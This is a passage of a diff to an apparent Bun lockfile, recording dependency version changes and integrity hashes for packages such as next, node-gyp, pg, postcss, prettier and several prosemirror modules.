"15.5.12", "@swc/helpers": "0.5.15", "caniuse-lite": "^1.0.30001579", "postcss": "8.4.31", "styled-jsx": "5.1.6" }, "optionalDependencies": { "@next/swc-darwin-arm64": "15.5.12", "@next/swc-darwin-x64": "15.5.12", "@next/swc-linux-arm64-gnu": "15.5.12", "@next/swc-linux-arm64-musl": "15.5.12", "@next/swc-linux-x64-gnu": "15.5.12", "@next/swc-linux-x64-musl": "15.5.12", "@next/swc-win32-arm64-msvc": "15.5.12", "@next/swc-win32-x64-msvc": "15.5.12", "sharp": "^0.34.3" }, "peerDependencies": { "@opentelemetry/api": "^1.1.0", "@playwright/test": "^1.51.1", "babel-plugin-react-compiler": "*", "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "sass": "^1.3.0" }, "optionalPeers": ["@opentelemetry/api", "@playwright/test", "babel-plugin-react-compiler", "sass"], "bin": { "next": "dist/bin/next" } }, "sha512-Fi/wQ4Etlrn60rz78bebG1i1SR20QxvV8tVp6iJspjLUSHcZoeUXCt+vmWoEcza85ElZzExK/jJ/F6SvtGktjA=="], + "next": ["next@16.4.0", "", { "dependencies": { "@next/env": "16.4.0", "@swc/helpers": "0.5.23", "baseline-browser-mapping": "^2.9.19", "caniuse-lite": "^1.0.30001579", "postcss": "8.5.23", "styled-jsx": "5.1.6" }, "optionalDependencies": { "@next/swc-darwin-arm64": "16.4.0", "@next/swc-darwin-x64": "16.4.0", "@next/swc-linux-arm64-gnu": "16.4.0", "@next/swc-linux-arm64-musl": "16.4.0", "@next/swc-linux-x64-gnu": "16.4.0", "@next/swc-linux-x64-musl": "16.4.0", "@next/swc-win32-arm64-msvc": "16.4.0", "@next/swc-win32-x64-msvc": "16.4.0", "sharp": "^0.35.4" }, "peerDependencies": { "@opentelemetry/api": "^1.1.0", "@playwright/test": "^1.51.1", "babel-plugin-react-compiler": "*", "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "sass": "^1.3.0" }, "optionalPeers": ["@opentelemetry/api", "@playwright/test", "babel-plugin-react-compiler", "sass"], "bin": { "next": "dist/bin/next" } }, "sha512-N2C+9q89Z/oLrsepSRS4jRMtwmUZAoZuAHU0e9T6+sAB5DdhADmrnOW+zjYijlrYFmVfmQhGVGy9eMFoB7UgKg=="], - "node-abi": ["node-abi@3.87.0", "", { "dependencies": { "semver": "^7.3.5" } }, "sha512-+CGM1L1CgmtheLcBuleyYOn7NWPVu0s0EJH2C4puxgEZb9h8QpR9G2dBfZJOAUhi7VQxuBPMd0hiISWcTyiYyQ=="], + "node-abi": ["node-abi@4.26.0", "", { "dependencies": { "semver": "^7.6.3" } }, "sha512-8QwIZqikRvDIkXS2S93LjzhsSPJuIbfaMETWH+Bx8oOT9Sa9UsUtBFQlc3gBNd1+QINjaTloitXr1W3dQLi9Iw=="], - "node-addon-api": ["node-addon-api@7.1.1", "", {}, "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ=="], + "node-addon-api": ["node-addon-api@8.9.2", "", {}, "sha512-VijLXbi3UACN69I0JVXJsX4tjACjNoQDgv2gTF6sx2wWEi8tkSg2eX8p5gSIFi8z2+DL3oHmY6OyKce38SDolg=="], "node-api-version": ["node-api-version@0.2.1", "", { "dependencies": { "semver": "^7.3.5" } }, "sha512-2xP/IGGMmmSQpI1+O/k72jF/ykvZ89JeuKX3TLJAYPDVLUalrshrLHkeVcCCZqG/eEa635cr8IBYzgnDvM2O8Q=="], @@ -1881,7 +1737,7 @@ "node-fetch": ["node-fetch@2.7.0", "", { "dependencies": { "whatwg-url": "^5.0.0" }, "peerDependencies": { "encoding": "^0.1.0" }, "optionalPeers": ["encoding"] }, "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A=="], - "node-gyp": ["node-gyp@11.5.0", "", { "dependencies": { "env-paths": "^2.2.0", "exponential-backoff": "^3.1.1", "graceful-fs": "^4.2.6", "make-fetch-happen": "^14.0.3", "nopt": "^8.0.0", "proc-log": "^5.0.0", "semver": "^7.3.5", "tar": "^7.4.3", "tinyglobby": "^0.2.12", "which": "^5.0.0" }, "bin": { "node-gyp": "bin/node-gyp.js" } }, "sha512-ra7Kvlhxn5V9Slyus0ygMa2h+UqExPqUIkfk7Pc8QTLT956JLSy51uWFwHtIYy0vI8cB4BDhc/S03+880My/LQ=="], + "node-gyp": ["node-gyp@12.4.0", "", { "dependencies": { "env-paths": "^2.2.0", "exponential-backoff": "^3.1.1", "graceful-fs": "^4.2.6", "nopt": "^9.0.0", "proc-log": "^6.0.0", "semver": "^7.3.5", "tar": "^7.5.4", "tinyglobby": "^0.2.12", "undici": "^6.25.0", "which": "^6.0.0" }, "bin": { "node-gyp": "bin/node-gyp.js" } }, "sha512-OMcPNvqTCFUnNaBlmdgq+lfNqY7gTiSmNRDjY3uAXRyudeKZEZxu3CLtjMQrx4zZxCX2b/mpNqTtwuCJgXhHkw=="], "node-int64": ["node-int64@0.4.0", "", {}, "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw=="], @@ -1893,23 +1749,27 @@ "node-xlsx": ["node-xlsx@0.24.0", "", { "dependencies": { "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.2/xlsx-0.20.2.tgz" }, "bin": { "node-xlsx": "dist/bin/cli.js" } }, "sha512-1olwK48XK9nXZsyH/FCltvGrQYvXXZuxVitxXXv2GIuRm51aBi1+5KwR4rWM4KeO61sFU+00913WLZTD+AcXEg=="], - "nopt": ["nopt@8.1.0", "", { "dependencies": { "abbrev": "^3.0.0" }, "bin": { "nopt": "bin/nopt.js" } }, "sha512-ieGu42u/Qsa4TFktmaKEwM6MQH0pOWnaB3htzh0JRtx84+Mebc0cbZYN5bC+6WTZ4+77xrL9Pn5m7CV6VIkV7A=="], + "nopt": ["nopt@9.0.0", "", { "dependencies": { "abbrev": "^4.0.0" }, "bin": { "nopt": "bin/nopt.js" } }, "sha512-Zhq3a+yFKrYwSBluL4H9XP3m3y5uvQkB/09CwDruCiRmR/UJYnn9W4R48ry0uGC70aeTPKLynBtscP9efFFcPw=="], "normalize-url": ["normalize-url@6.1.0", "", {}, "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A=="], + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], + "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="], "object-keys": ["object-keys@1.1.1", "", {}, "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="], - "officeparser": ["officeparser@6.0.7", "", { "dependencies": { "@xmldom/xmldom": "^0.8.11", "concat-stream": "^2.0.0", "file-type": "^21.3.4", "pdfjs-dist": "^5.5.207", "tesseract.js": "^7.0.0", "yauzl": "^3.2.1" }, "bin": { "officeparser": "dist/index.js" } }, "sha512-MkNHyWIfEZRDtB8c0fgJHdb4Ui0I/WztBjlUjlPiEbTO6dIYaJMt+llS5p5Foj13guUZgGxkkM9VwsVRthHNAA=="], + "officeparser": ["officeparser@6.1.1", "", { "dependencies": { "@xmldom/xmldom": "^0.9.10", "fflate": "^0.8.2", "file-type": "^22.0.1", "pdfjs-dist": "5.6.205", "tesseract.js": "^7.0.0" }, "bin": { "officeparser": "dist/cli.js" } }, "sha512-C8XcY7h/4It+ZZDTnPs9p7v2c09zcJUVQKZH4Q8ZtBLeVrauSSrJvvV8Orcq8fSJjxPFuQAueQqkqTfGv3HlPw=="], + + "on-finished": ["on-finished@2.4.1", "", { "dependencies": { "ee-first": "1.1.1" } }, "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg=="], "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], - "onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="], + "onetime": ["onetime@5.1.2", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="], - "oniguruma-parser": ["oniguruma-parser@0.12.1", "", {}, "sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w=="], + "oniguruma-parser": ["oniguruma-parser@0.12.2", "", {}, "sha512-6HVa5oIrgMC6aA6WF6XyyqbhRPJrKR02L20+2+zpDtO5QAzGHAUGw5TKQvwi5vctNnRHkJYmjAhRVQF2EKdTQw=="], - "oniguruma-to-es": ["oniguruma-to-es@4.3.4", "", { "dependencies": { "oniguruma-parser": "^0.12.1", "regex": "^6.0.1", "regex-recursion": "^6.0.2" } }, "sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA=="], + "oniguruma-to-es": ["oniguruma-to-es@4.3.6", "", { "dependencies": { "oniguruma-parser": "^0.12.2", "regex": "^6.1.0", "regex-recursion": "^6.0.2" } }, "sha512-csuQ9x3Yr0cEIs/Zgx/OEt9iBw9vqIunAPQkx19R/fiMq2oGVTgcMqO/V3Ybqefr1TBvosI6jU539ksaBULJyA=="], "opencollective-postinstall": ["opencollective-postinstall@2.0.3", "", { "bin": { "opencollective-postinstall": "index.js" } }, "sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q=="], @@ -1941,11 +1801,9 @@ "parse-entities": ["parse-entities@4.0.2", "", { "dependencies": { "@types/unist": "^2.0.0", "character-entities-legacy": "^3.0.0", "character-reference-invalid": "^2.0.0", "decode-named-character-reference": "^1.0.0", "is-alphanumerical": "^2.0.0", "is-decimal": "^2.0.0", "is-hexadecimal": "^2.0.0" } }, "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw=="], - "parse-imports-exports": ["parse-imports-exports@0.2.4", "", { "dependencies": { "parse-statements": "1.0.11" } }, "sha512-4s6vd6dx1AotCx/RCI2m7t7GCh5bDRUtGNvRfHSP2wbBQdMi67pPe7mtzmgwcaQ8VKK/6IB7Glfyu3qdZJPybQ=="], - "parse-json": ["parse-json@5.2.0", "", { "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg=="], - "parse-statements": ["parse-statements@1.0.11", "", {}, "sha512-HlsyYdMBnbPQ9Jr/VgJ1YF4scnldvJpJxCVx6KgqPL4dxppsWrJHCIIxQXMJrqGnsRkNPATbeMJ8Yxu7JMsYcA=="], + "parseurl": ["parseurl@1.3.3", "", {}, "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="], "path-is-absolute": ["path-is-absolute@1.0.1", "", {}, "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="], @@ -1953,23 +1811,25 @@ "path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], - "pdfjs-dist": ["pdfjs-dist@5.5.207", "", { "optionalDependencies": { "@napi-rs/canvas": "^0.1.95", "node-readable-to-web-readable-stream": "^0.4.2" } }, "sha512-WMqqw06w1vUt9ZfT0gOFhMf3wHsWhaCrxGrckGs5Cci6ybDW87IvPaOd2pnBwT6BJuP/CzXDZxjFgmSULLdsdw=="], + "path-to-regexp": ["path-to-regexp@8.4.2", "", {}, "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA=="], + + "pdfjs-dist": ["pdfjs-dist@5.6.205", "", { "optionalDependencies": { "@napi-rs/canvas": "^0.1.96", "node-readable-to-web-readable-stream": "^0.4.2" } }, "sha512-tlUj+2IDa7G1SbvBNN74UHRLJybZDWYom+k6p5KIZl7huBvsA4APi6mKL+zCxd3tLjN5hOOEE9Tv7VdzO88pfg=="], "pe-library": ["pe-library@0.4.1", "", {}, "sha512-eRWB5LBz7PpDu4PUlwT0PhnQfTQJlDDdPa35urV4Osrm0t0AqQFGn+UIkU3klZvwJ8KPO3VbBFsXquA6p6kqZw=="], "pend": ["pend@1.2.0", "", {}, "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg=="], - "pg": ["pg@8.20.0", "", { "dependencies": { "pg-connection-string": "^2.12.0", "pg-pool": "^3.13.0", "pg-protocol": "^1.13.0", "pg-types": "2.2.0", "pgpass": "1.0.5" }, "optionalDependencies": { "pg-cloudflare": "^1.3.0" }, "peerDependencies": { "pg-native": ">=3.0.1" }, "optionalPeers": ["pg-native"] }, "sha512-ldhMxz2r8fl/6QkXnBD3CR9/xg694oT6DZQ2s6c/RI28OjtSOpxnPrUCGOBJ46RCUxcWdx3p6kw/xnDHjKvaRA=="], + "pg": ["pg@8.23.1", "", { "dependencies": { "pg-connection-string": "^2.14.1", "pg-pool": "^3.14.0", "pg-protocol": "^1.16.1", "pg-types": "2.2.0", "pgpass": "1.0.5" }, "optionalDependencies": { "pg-cloudflare": "^1.4.1" }, "peerDependencies": { "pg-native": ">=3.0.1" }, "optionalPeers": ["pg-native"] }, "sha512-aL96AHANtWjPLDOLqnhx+ngp9+UK7ETEU8VJrDCGvsSSi/mGLcWYsS6Herg7lmaBJe4uwrfqsa7gTEFaSizDoQ=="], - "pg-cloudflare": ["pg-cloudflare@1.3.0", "", {}, "sha512-6lswVVSztmHiRtD6I8hw4qP/nDm1EJbKMRhf3HCYaqud7frGysPv7FYJ5noZQdhQtN2xJnimfMtvQq21pdbzyQ=="], + "pg-cloudflare": ["pg-cloudflare@1.4.1", "", {}, "sha512-6PQbsFWZcp9EmJEwy5cGQ2La+AMWpP46lgbb8X+U/XsHIUweYDNCpeuKck5RxL2MdVFi7krbbEi5nX4Zh7JhrQ=="], - "pg-connection-string": ["pg-connection-string@2.12.0", "", {}, "sha512-U7qg+bpswf3Cs5xLzRqbXbQl85ng0mfSV/J0nnA31MCLgvEaAo7CIhmeyrmJpOr7o+zm0rXK+hNnT5l9RHkCkQ=="], + "pg-connection-string": ["pg-connection-string@2.14.1", "", {}, "sha512-qR3kGNPBLpCNtz0evbKA0Y/MRFXwSSdT+pTJvYp/bXTcReZbvX1kzF0IyTc1QnxqF7AZbOeBhNL8R5mYQZV/MA=="], "pg-int8": ["pg-int8@1.0.1", "", {}, "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw=="], - "pg-pool": ["pg-pool@3.13.0", "", { "peerDependencies": { "pg": ">=8.0" } }, "sha512-gB+R+Xud1gLFuRD/QgOIgGOBE2KCQPaPwkzBBGC9oG69pHTkhQeIuejVIk3/cnDyX39av2AxomQiyPT13WKHQA=="], + "pg-pool": ["pg-pool@3.14.0", "", { "peerDependencies": { "pg": ">=8.0" } }, "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw=="], - "pg-protocol": ["pg-protocol@1.13.0", "", {}, "sha512-zzdvXfS6v89r6v7OcFCHfHlyG/wvry1ALxZo4LqgUoy7W9xhBDMaqOuMiF3qEV45VqsN6rdlcehHrfDtlCPc8w=="], + "pg-protocol": ["pg-protocol@1.16.1", "", {}, "sha512-p9VOFMiHB/ZbJATetbg+99PxssTVSQRnyuPSQ67mN1+1KBOjZaZ83ZQzltnxPhJwSsC3nwVjJ10DVJlerbFzLg=="], "pg-types": ["pg-types@2.2.0", "", { "dependencies": { "pg-int8": "1.0.1", "postgres-array": "~2.0.0", "postgres-bytea": "~1.0.0", "postgres-date": "~1.0.4", "postgres-interval": "^1.1.0" } }, "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA=="], @@ -1977,13 +1837,15 @@ "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], - "picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + "picomatch": ["picomatch@4.0.7", "", {}, "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA=="], "pkce-challenge": ["pkce-challenge@5.0.1", "", {}, "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ=="], + "pkijs": ["pkijs@3.4.1", "", { "dependencies": { "@noble/hashes": "1.8.0", "asn1js": "^3.0.6", "bytestreamjs": "^2.0.1", "pvtsutils": "^1.3.6", "pvutils": "^1.1.3", "tslib": "^2.8.1" } }, "sha512-Oo/NZcSWccq8KyoG7gLE9fnltgHns+pNCjCAp/WmjsUySi+sX7y4z4Xqu4fVb42CDHzRPl33fjzT15V1wvcyhA=="], + "plist": ["plist@3.1.0", "", { "dependencies": { "@xmldom/xmldom": "^0.8.8", "base64-js": "^1.5.1", "xmlbuilder": "^15.1.1" } }, "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ=="], - "postcss": ["postcss@8.5.8", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="], + "postcss": ["postcss@8.5.29", "", { "dependencies": { "nanoid": "^3.3.19", "picocolors": "^1.1.1", "source-map-js": "^1.2.2" } }, "sha512-49cGhUbXj8Qenv0iTMxA1cFBzxXoctpC9Ujd77t1WcbJIr6nF/eI7g/8MgxrYldFRuAXvja7xQRwavoW7kgrxQ=="], "postgres-array": ["postgres-array@2.0.0", "", {}, "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA=="], @@ -1997,13 +1859,9 @@ "ppt": ["ppt@0.0.2", "", { "dependencies": { "cfb": ">=0.10.0", "codepage": "~1.3.4", "commander": "" }, "bin": { "ppt": "./bin/ppt.njs" } }, "sha512-qhII2wLFquh/rSJ4UBfywFHKmKy3PoZb7GvWhRAaHHKoVP7rfNZQldAHIgc5gD4s1cSBSBfedZYEY0m+vYYI5A=="], - "prebuild-install": ["prebuild-install@7.1.3", "", { "dependencies": { "detect-libc": "^2.0.0", "expand-template": "^2.0.3", "github-from-package": "0.0.0", "minimist": "^1.2.3", "mkdirp-classic": "^0.5.3", "napi-build-utils": "^2.0.0", "node-abi": "^3.3.0", "pump": "^3.0.0", "rc": "^1.2.7", "simple-get": "^4.0.0", "tar-fs": "^2.0.0", "tunnel-agent": "^0.6.0" }, "bin": { "prebuild-install": "bin.js" } }, "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug=="], - - "prettier": ["prettier@3.8.1", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg=="], - - "prettier-plugin-tailwindcss": ["prettier-plugin-tailwindcss@0.7.2", "", { "peerDependencies": { "@ianvs/prettier-plugin-sort-imports": "*", "@prettier/plugin-hermes": "*", "@prettier/plugin-oxc": "*", "@prettier/plugin-pug": "*", "@shopify/prettier-plugin-liquid": "*", "@trivago/prettier-plugin-sort-imports": "*", "@zackad/prettier-plugin-twig": "*", "prettier": "^3.0", "prettier-plugin-astro": "*", "prettier-plugin-css-order": "*", "prettier-plugin-jsdoc": "*", "prettier-plugin-marko": "*", "prettier-plugin-multiline-arrays": "*", "prettier-plugin-organize-attributes": "*", "prettier-plugin-organize-imports": "*", "prettier-plugin-sort-imports": "*", "prettier-plugin-svelte": "*" }, "optionalPeers": ["@ianvs/prettier-plugin-sort-imports", "@prettier/plugin-hermes", "@prettier/plugin-oxc", "@prettier/plugin-pug", "@shopify/prettier-plugin-liquid", "@trivago/prettier-plugin-sort-imports", "@zackad/prettier-plugin-twig", "prettier-plugin-astro", "prettier-plugin-css-order", "prettier-plugin-jsdoc", "prettier-plugin-marko", "prettier-plugin-multiline-arrays", "prettier-plugin-organize-attributes", "prettier-plugin-organize-imports", "prettier-plugin-sort-imports", "prettier-plugin-svelte"] }, "sha512-LkphyK3Fw+q2HdMOoiEHWf93fNtYJwfamoKPl7UwtjFQdei/iIBoX11G6j706FzN3ymX9mPVi97qIY8328vdnA=="], + "prettier": ["prettier@3.9.9", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-Z/CJHIkdujO/OtN7nXUii0Rf3VT5SRuhjBA82Xvu2XhBUgX3nhP67T0LHceBdQLex7OOFGTox+Q5Yg8Jk2Qivg=="], - "proc-log": ["proc-log@5.0.0", "", {}, "sha512-Azwzvl90HaF0aCz1JrDdXQykFakSSNPaPoiZ9fm5qJIMHioDZEi7OAdRwSm6rSoPtY3Qutnm3L7ogmg3dc+wbQ=="], + "proc-log": ["proc-log@6.1.0", "", {}, "sha512-iG+GYldRf2BQ0UDUAd6JQ/RwzaQy6mXmsk/IzlYyal4A4SNFw54MeH4/tLkF4I5WoWG9SQwuqWzS99jaFQHBuQ=="], "process-nextick-args": ["process-nextick-args@2.0.1", "", {}, "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="], @@ -2011,19 +1869,19 @@ "promise-retry": ["promise-retry@2.0.1", "", { "dependencies": { "err-code": "^2.0.2", "retry": "^0.12.0" } }, "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g=="], + "prop-types": ["prop-types@15.8.1", "", { "dependencies": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.13.1" } }, "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg=="], + "proper-lockfile": ["proper-lockfile@4.1.2", "", { "dependencies": { "graceful-fs": "^4.2.4", "retry": "^0.12.0", "signal-exit": "^3.0.2" } }, "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA=="], "property-information": ["property-information@7.1.0", "", {}, "sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ=="], - "prosemirror-changeset": ["prosemirror-changeset@2.4.0", "", { "dependencies": { "prosemirror-transform": "^1.0.0" } }, "sha512-LvqH2v7Q2SF6yxatuPP2e8vSUKS/L+xAU7dPDC4RMyHMhZoGDfBC74mYuyYF4gLqOEG758wajtyhNnsTkuhvng=="], - - "prosemirror-collab": ["prosemirror-collab@1.3.1", "", { "dependencies": { "prosemirror-state": "^1.0.0" } }, "sha512-4SnynYR9TTYaQVXd/ieUvsVV4PDMBzrq2xPUWutHivDuOshZXqQ5rGbZM84HEaXKbLdItse7weMGOUdDVcLKEQ=="], + "prosemirror-changeset": ["prosemirror-changeset@2.4.4", "", { "dependencies": { "prosemirror-transform": "^1.0.0" } }, "sha512-Gyuz9jYdrAeA9I7AholyOes9KUmv/lEwsC5O9s5xF5VB3EgTPsXMGUxz4+H1B+wKVPdZbvRcg1Cp3x8qX+8ofA=="], "prosemirror-commands": ["prosemirror-commands@1.7.1", "", { "dependencies": { "prosemirror-model": "^1.0.0", "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.10.2" } }, "sha512-rT7qZnQtx5c0/y/KlYaGvtG411S97UaL6gdp6RIZ23DLHanMYLyfGBV5DtSnZdthQql7W+lEVbpSfwtO8T+L2w=="], "prosemirror-dropcursor": ["prosemirror-dropcursor@1.8.2", "", { "dependencies": { "prosemirror-state": "^1.0.0", "prosemirror-transform": "^1.1.0", "prosemirror-view": "^1.1.0" } }, "sha512-CCk6Gyx9+Tt2sbYk5NK0nB1ukHi2ryaRgadV/LvyNuO3ena1payM2z6Cg0vO1ebK8cxbzo41ku2DE5Axj1Zuiw=="], - "prosemirror-gapcursor": ["prosemirror-gapcursor@1.4.0", "", { "dependencies": { "prosemirror-keymap": "^1.0.0", "prosemirror-model": "^1.0.0", "prosemirror-state": "^1.0.0", "prosemirror-view": "^1.0.0" } }, "sha512-z00qvurSdCEWUIulij/isHaqu4uLS8r/Fi61IbjdIPJEonQgggbJsLnstW7Lgdk4zQ68/yr6B6bf7sJXowIgdQ=="], + "prosemirror-gapcursor": ["prosemirror-gapcursor@1.4.1", "", { "dependencies": { "prosemirror-keymap": "^1.0.0", "prosemirror-model": "^1.0.0", "prosemirror-state": "^1.0.0", "prosemirror-view": "^1.0.0" } }, "sha512-pMdYaEnjNMSwl11yjEGtgTmLkR08m/Vl+Jj443167p9eB3HVQKhYCc4gmHVDsLPODfZfjr/MmirsdyZziXbQKw=="], "prosemirror-history": ["prosemirror-history@1.5.0", "", { "dependencies": { "prosemirror-state": "^1.2.2", "prosemirror-transform": "^1.0.0", "prosemirror-view": "^1.31.0", "rope-sequence": "^1.3.0" } }, "sha512-zlzTiH01eKA55UAf1MEjtssJeHnGxO0j4K4Dpx+gnmX9n+SHNlDqI2oO1Kv1iPN5B1dm5fsljCfqKF9nFL6HRg=="], @@ -2031,13 +1889,7 @@ "prosemirror-keymap": ["prosemirror-keymap@1.2.3", "", { "dependencies": { "prosemirror-state": "^1.0.0", "w3c-keyname": "^2.2.0" } }, "sha512-4HucRlpiLd1IPQQXNqeo81BGtkY8Ai5smHhKW9jjPKRc2wQIxksg7Hl1tTI2IfT2B/LgX6bfYvXxEpJl7aKYKw=="], - "prosemirror-markdown": ["prosemirror-markdown@1.13.4", "", { "dependencies": { "@types/markdown-it": "^14.0.0", "markdown-it": "^14.0.0", "prosemirror-model": "^1.25.0" } }, "sha512-D98dm4cQ3Hs6EmjK500TdAOew4Z03EV71ajEFiWra3Upr7diytJsjF4mPV2dW+eK5uNectiRj0xFxYI9NLXDbw=="], - - "prosemirror-menu": ["prosemirror-menu@1.3.0", "", { "dependencies": { "crelt": "^1.0.0", "prosemirror-commands": "^1.0.0", "prosemirror-history": "^1.0.0", "prosemirror-state": "^1.0.0" } }, 